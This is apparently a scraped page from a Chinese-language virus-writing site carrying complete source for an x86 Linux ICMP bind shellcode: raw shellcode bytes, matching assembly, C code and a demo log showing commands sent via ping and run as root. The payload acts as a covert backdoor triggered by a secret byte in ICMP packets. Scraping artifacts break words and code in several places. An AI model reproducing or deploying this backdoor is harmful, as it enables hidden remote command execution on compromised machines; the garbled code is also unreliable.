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| 关键词： 病毒 SECTION 文件 函数 Header 入口 db 代码 空间 寄主 |
使用Ping控制 程序： /* x86 linux icmp bind shellcode (137 bytes) by glo [email protected] [example] main:/home/gloomy/se curity/shellcode/linux/icmp# ./icmp Size of shellcode = 137 main:/home/gloomy/se3722f62696e2f69643e6f757 curity/shellcode/linux/icmp#4 -c 1 -s 26 localhost ping -p 992f757 PATTERN: 0x992f7573722f62696e2f69643e6f7574 (\x99/usr/bin/id>out) 34 bytes from 127.0.0.1: icmp_se q=0 ttl=64 time=0.5 ms main:/home/gloomy/security/shell code/linux/icmp# cat out uid=0(root) gid=0(root) groups=0(root) main:/home/gloomy/se curity/shellcode/linux/icmp# */ #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define SECRET_CHAR "\x99" char shell[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x66" "\x43\x41\x51\xb1\x03\x51\x49\x51" "\x89\xe1\xcd\x80\x89\xc2\xb0\x02" "\xcd\x80\x31\xdb\x39\xc3\x75\x55" "\x31\xc0\x31\xdb\xb0\x10\x50\xb0" "\xff\x54\x54\x53\x50\x55\x52\x89" "\xe1\xb0\x66\xb3\x0c\xcd\x80\x89" "\xe9\x01\xc1\x31\xc0\x88\x41\xfe" "\xb0\x25\x01\xc5\xb0" SECRET_CHAR "\x32\x45\xff\x75\xd5\xb0\x02\xcd" "\x80\x31\xdb\x39\xc3\x74\x25\xeb" "\xc9\x31\xc0\x31\xdb\xb3\x02\xb0" "\x06\xcd\x80\x5b\x89\xd9\x88\x43" "\x07\x80\xc1\x08\x50\x55\x51\x53" "\x89\xe1\x99\xb0\x0b\xcd\x80\x31" "\xc0\x40\xcd\x80\xe8\xd8\xff\xff" "\xff" "/bin/sh -c"; void asm_code() { __asm(" xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx movb $0x66,%al incl %ebx incl %ecx push %ecx movb $0x3,%cl push %ecx decl %ecx push %ecx movl %esp,%ecx int $0x80 /* socket(); */ movl %eax,%edx movb $0x2,%al int $0x80 /* fork(); */ xorl %ebx,%ebx cmpl %eax,%ebx jne exit endlessloop: xorl %eax,%eax xorl %ebx,%ebx movb $0x10,%al push %eax movb $0xff,%al push %esp push %esp push %ebx push %eax push %ebp push %edx movl %esp,%ecx movb $0x66,%al movb $0x0c,%bl int $0x80 /* recvfrom(); */ movl %ebp,%ecx addl %eax,%ecx xorl %eax,%eax movb %al,-2(%ecx) movb $0x25,%al addl %eax,%ebp movb $0x99,%al /* SECRET_CHAR */ xorb -1(%ebp),%al jnz endlessloop movb $0x2,%al int $0x80 /* fork(); */ xorl %ebx,%ebx cmpl %eax,%ebx je stack jmp endlessloop execve: xorl %eax,%eax xorl %ebx,%ebx movb $0x2,%bl movb $0x6,%al int $0x80 /* close(); */ pop %ebx movl %ebx,%ecx movb %al,0x7(%ebx) addb $0x8,%cl push %eax push %ebp push %ecx push %ebx movl %esp,%ecx cdq movb $0xb,%al int $0x80 /* execve(); */ exit: xorl %eax,%eax incl %eax int $0x80 /* exit(); */ stack: call execve .string \"/bin/sh -c\" "); } void c_code() { int fd; int nb = 0; struct sockaddr_in them; int them_size = sizeof(struct so ckaddr); char buf[256]; char *prog[] = {"/bi n/sh","-c",&buf[37],NULL}; fd = socket(2,3,1); if (fork() > 0) exit(0); while (1) { &nb, sp; while (!(nb = recvfr om(fd,buf,255,0,(struct sock addr *)&them,&them_size))); buf[nb-1] = 0; if (buf[36] == (char)SECRET_CHAR) if (fork() == 0) { c lose(2); execve(prog[0],prog ,NULL); } } } int main(int c,char *v[]) { void (*i)(); i = (void (*)())shell; fprintf(stderr,"Size of shellcod e = %d\n\n",strlen(shell)); i(); return 0; } |
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